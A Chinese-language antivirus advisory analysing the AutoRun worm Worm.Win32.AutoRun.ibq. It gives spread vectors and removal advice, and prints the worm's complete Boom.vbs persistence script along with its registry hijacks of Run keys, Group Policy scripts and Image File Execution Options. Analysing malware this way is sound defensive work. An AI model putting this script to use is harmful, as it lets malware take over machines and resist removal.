捕獲時間
2008-11-6
病毒摘要
該樣本是使用“ VB”編寫的蠕蟲程序，由微點主動防御軟件自動捕獲，長度為“225,280 字節(jié)”，未加殼，圖標為
，使用“exe”擴展名，通過“網(wǎng)頁木馬”、“移動存儲介質(zhì)”、“壓縮包感染”、“ 局域網(wǎng)傳播”等途徑植入用戶計算機。
感染對象
Windows 2000/Windows XP/Windows 2003
傳播途徑
網(wǎng)頁木馬、文件捆綁、移動存儲介質(zhì)
防范措施
已安裝使用微點主動防御軟件的用戶，無須任何設(shè)置，微點主動防御將自動保護您的系統(tǒng)免受該病毒的入侵和破壞。無論您是否已經(jīng)升級到最新版本，微點主動防御都能夠有效清除該病毒。如果您沒有將微點主動防御軟件升級到最新版，微點主動防御軟件在發(fā)現(xiàn)該病毒后將報警提示您發(fā)現(xiàn)“未知木馬”，請直接選擇刪除處理（如圖1）；
圖1 主動防御自動捕獲未知病毒（未升級）
如果您已經(jīng)將微點主動防御軟件升級到最新版本，微點將報警提示您發(fā)現(xiàn)"Worm.Win32.AutoRun.ibq”，請直接選擇刪除（如圖2）。
圖2 升級后截獲已知病毒
對于未使用微點主動防御軟件的用戶，微點反病毒專家建議：
1、不要在不明站點下載非官方版本的軟件進行安裝，避免病毒通過捆綁的方式進入您的系統(tǒng)。
2、盡快將您的殺毒軟件特征庫升級到最新版本進行查殺，并開啟防火墻攔截網(wǎng)絡(luò)異常訪問，如依然有異常情況請注意及時與專業(yè)的安全軟件廠商聯(lián)系獲取技術(shù)支持。
3、開啟windows自動更新，及時打好漏洞補丁。
病毒分析
該樣本程序被執(zhí)行后，拷貝自身(均為系統(tǒng)、隱藏、只讀屬性)到:
%SystemRoot%\Fonts\Fonts.exe
%SystemRoot%\Fonts\tskmgr.exe
%SystemRoot%\Help\microsoft.hlp
%SystemRoot%\Media\rndll32.pif
%SystemRoot%\pchealth\helpctr\binaries\HelpHost.com
%SystemRoot%\pchealth\Global.exe
%SystemRoot%\system\KEYBOARD.exe
%SystemRoot%\system32\dllcache\Recycler.{645FF040-5081-101B-9F08-00AA002F954E}\Global.exe
%SystemRoot%\system32\dllcache\Recycler.{645FF040-5081-101B-9F08-00AA002F954E}\svchost.exe
%SystemRoot%\system32\dllcache\Recycler.{645FF040-5081-101B-9F08-00AA002F954E}\system.exe
%SystemRoot%\system32\dllcache\autorun.inf
%SystemRoot%\system32\dllcache\Default.exe
%SystemRoot%\system32\dllcache\Global.exe
%SystemRoot%\system32\dllcache\rndll32.exe
%SystemRoot%\system32\dllcache\tskmgr.exe
%SystemRoot%\system32\drivers\drivers.cab.exe
%SystemRoot%\system32\regedit.exe
并創(chuàng)建腳本文件：%SystemRoot%\Cursors\Boom.vbs，此腳本完成在中毒機器注銷、關(guān)機、啟動進行病毒文件復制及啟動項的添加，其內(nèi)容如下：
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dim fs,rg
set fs = createobject("scripting.filesystemobject")
set rg = createobject("wscript.shell")
on error resume next
rg.regwrite "HKCR\.vbs\", "VBSFile"
rg.regwrite "HKCU\Control Panel\Desktop\
SCRNSAVE.EXE"," C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com"
rg.regwrite "HKCU\Control Panel\Desktop\ScreenSaveTimeOut", "30"
rg.regwrite "HKCR\MSCFile\Shell\
Open\Command\", "C:\WINDOWS\pchealth\Global.exe"
rg.regwrite "HKCR\regfile\Shell\Open\
Command\", "C:\WINDOWS\pchealth\Global.exe"
rg.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
RunOnce\", "C:\WINDOWS\system32\dllcache\Default.exe"
rg.regwrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\
RunOnce\", "C:\WINDOWS\system32\dllcache\Default.exe"
rg.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
Run\", "C:\WINDOWS\system\KEYBOARD.exe"
rg.regwrite "HKEY_CLASSES_ROOT\MSCFile\Shell\Open\
Command\", "C:\WINDOWS\Fonts\Fonts.exe"
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\DisplayName","Local Group Policy"
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\FileSysPath",""
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\GPO-ID","LocalGPO"
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\GPOName","Local Group Policy"
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\SOM-ID","Local"
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\0\Parameters",""
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\0\Script","C:\WINDOWS\Cursors\Boom.vbs"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\DisplayName", "Local Group Policy"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\FileSysPath", ""
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\GPO-ID", "LocalGPO"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\GPOName", "Local Group Policy"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\SOM-ID", "Local"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\0\Parameters", ""
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\0\Script", "C:\WINDOWS\Cursors\Boom.vbs"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\DisplayName", "Local Group Policy"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\FileSysPath", ""
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\GPO-ID", "LocalGPO"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\GPOName", "Local Group Policy"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\SOM-ID", "Local"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\0\Parameters", ""
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\0\Script", "C:\WINDOWS\Cursors\Boom.vbs"
If Not fs.fileexists("C:\WINDOWS\Fonts\Fonts.exe") Then
fs.copyfile ("C:\WINDOWS\Help\microsoft.hlp"), ("C:\WINDOWS\Fonts\Fonts.exe")
If Not fs.fileexists("C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com")
Then fs.copyfile ("C:\WINDOWS\Help\
microsoft.hlp"), ("C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com")
If Not fs.fileexists("C:\WINDOWS\pchealth\Global.exe") Then
fs.copyfile ("C:\WINDOWS\Help\microsoft.hlp"), ("C:\WINDOWS\pchealth\Global.exe")
If Not fs.fileexists("C:\WINDOWS\system\KEYBOARD.exe")
Then fs.copyfile ("C:\WINDOWS\Help\
microsoft.hlp"), ("C:\WINDOWS\system\KEYBOARD.exe")
If Not fs.fileexists("C:\WINDOWS\system32\dllcache\Default.exe") Then
fs.copyfile
("C:\WINDOWS\Help\microsoft.hlp"), ("C:\WINDOWS\system32\dllcache\Default.exe")
If Not fs.fileexists("C:\windows\system32\drivers\drivers.cab.exe") Then
fs.copyfile ("C:\WINDOWS\Help\
microsoft.hlp"), ("C:\windows\system32\drivers\drivers.cab.exe ")
If Not fs.fileexists("C:\windows\media\rndll32.pif ") Then
fs.copyfile ("C:\WINDOWS\Help\microsoft.hlp"), ("C:\windows\media\
rndll32.pif")
If Not fs.fileexists("C:\windows\fonts\tskmgr.exe") Then
fs.copyfile("C:\WINDOWS\Help\microsoft.hlp"), ("C:\windows\fonts\tskmgr.exe") |
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并修改注冊表實現(xiàn)隱藏自身，添加映像劫持，如下：
| |
項：HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
鍵值：ShowSuperHidden
指向數(shù)據(jù)：0
項：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\auto.exe
鍵值：Debugger
指向數(shù)據(jù)：C:\WINDOWS\system32\drivers\drivers.cab.exe
項：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autorun.exe
鍵值：Debugger
指向數(shù)據(jù)：C:\WINDOWS\system32\drivers\drivers.cab.exe
項：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autoruns.exe
鍵值：Debugger
指向數(shù)據(jù)：C:\WINDOWS\system32\drivers\drivers.cab.exe
項：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\boot.exe
鍵值：Debugger
指向數(shù)據(jù)：C:\WINDOWS\Fonts\fonts.exe
項：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ctfmon.exe
鍵值：Debugger
指向數(shù)據(jù)：C:\WINDOWS\Fonts\fonts.exe
項：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe
鍵值：Debugger
指向數(shù)據(jù)：C:\WINDOWS\Media\rndll32.pif
項：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe
鍵值：Debugger
指向數(shù)據(jù)：C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com
項：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe
鍵值：Debugger
指向數(shù)據(jù)：C:\WINDOWS\Fonts\tskmgr.exe |
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病毒完全運行后創(chuàng)建“Global.exe”、“svchost.exe”、“system.exe”進程，相互調(diào)用，達到進程不能被終止的效果，不斷檢測復制自身跟修改注冊表，并不停遍歷各磁盤查看是否有“autorun.inf”文件，如果有將其刪除并寫入新的“autorun.inf”，并拷貝自身名為“MS-DOS”的文件，設(shè)置上述文件為“只讀”、“系統(tǒng)”、“隱藏”屬性。
